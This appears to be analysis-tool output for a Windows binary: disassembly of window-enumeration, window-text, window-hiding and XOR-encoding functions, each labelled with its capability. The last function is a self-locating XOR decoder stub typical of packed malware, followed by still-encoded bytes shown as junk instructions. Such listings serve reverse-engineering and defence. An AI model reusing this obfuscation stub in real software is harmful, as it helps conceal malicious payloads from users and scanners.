Function at 0x450c30
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [0x457be4]
cmp dword [eax + 0x30], 0
je 0x450cda
cmp dword [ebx + 0x94], 0
jne 0x450cd4
mov eax, dword [ebx + 0x30]
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x450bc0
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0x90]
cmp dword [eax + 8], 0
je 0x450cd4
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongA
test al, 8
je 0x450c9a
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x90]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x450cd4
push 0x213
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x90]
call fcn.00413984
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x450ca9
inc dword [ebx + 0x94]
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x45183c
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xffffff00
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0xa4], 0
je 0x451871
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x30]
push eax
call sub.user32.dll_GetWindowTextA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.00403f3c
jmp 0x45187e
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.00403ea0
add esp, 0x100
pop esi
pop ebx
ret

Function at 0x4528d0
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x84]
test esi, esi
je 0x452911
mov eax, esi
call fcn.00439154
test al, al
je 0x452911
mov eax, dword [ebx + 0x84]
call fcn.00438e7c
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x452911
push 0
mov eax, dword [ebx + 0x84]
call fcn.00438e7c
push eax
call sub.user32.dll_ShowWindow
pop esi
pop ebx
ret

Function at 0x1325504
Capabilities:
Encode data using xor

Disassembly:
retf 0xbe11
sbb ch, byte [edx]
jge 0x13254db
sbb dword [ebp - 0x3d], edx
sub dword [ebx], esi
nop
dec ecx
salc
daa
jge 0x132554f
les esi, [ebx - 0x7f1fbc6a]
lodsb al, byte [esi]
inc edx
pop ds
jmp 0x132550e
jmp 0x132550e
jmp 0x132550e
pushal
call 0x1325514
pop ebp
sub ebp, 0x10
sub ebp, 0xf25504
jmp 0x132552a
mov eax, 0xf25504
add eax, ebp
add eax, 0x4c
mov ecx, 0x5b0
mov edx, 0x9976f68b
xor byte [eax], dl
inc eax
dec ecx
jne 0x1325541
jmp 0x1325554
add ch, al
js 0x13255aa
add byte [esi], al
add dh, byte [edi + 0xa8b8b8b]
dec edx
jae 0x13254eb
mov ecx, dword [ebx - 0x70ccb978]
mov ecx, dword [ebx - 0x745cce75]
mov ecx, dword [ebx + 0x4388697c]
add byte [edx], cl
xchg dword [ebx + 0x4e888b8b], ecx
push es
out dx, eax
scasd eax, dword es:[edi]
ja 0x1325581
invalid
push es
out dx, eax
scasd eax, dword es:[edi]
ja 0x1325588
invalid
jecxz 0x1325595
mov dword [edx - 0x26f01c75], ebp
pop edx
mov ecx, dword [edx + 0x27e3afa7]
jecxz 0x13255be
leave
xchg esp, eax
mov ebp, 0x8b8b8e63
mov esp, dword [edx - 0x5b]
mov ecx, dword [ebx - 0x5010f975]
ja 0x13255ab
cmpsd dword [esi], dword es:[edi]
scasd eax, dword es:[edi]
invalid
mov ecx, dword [edx + 0x62]
mov dword [edx - 0x70b6f777], edi
ret 0xe84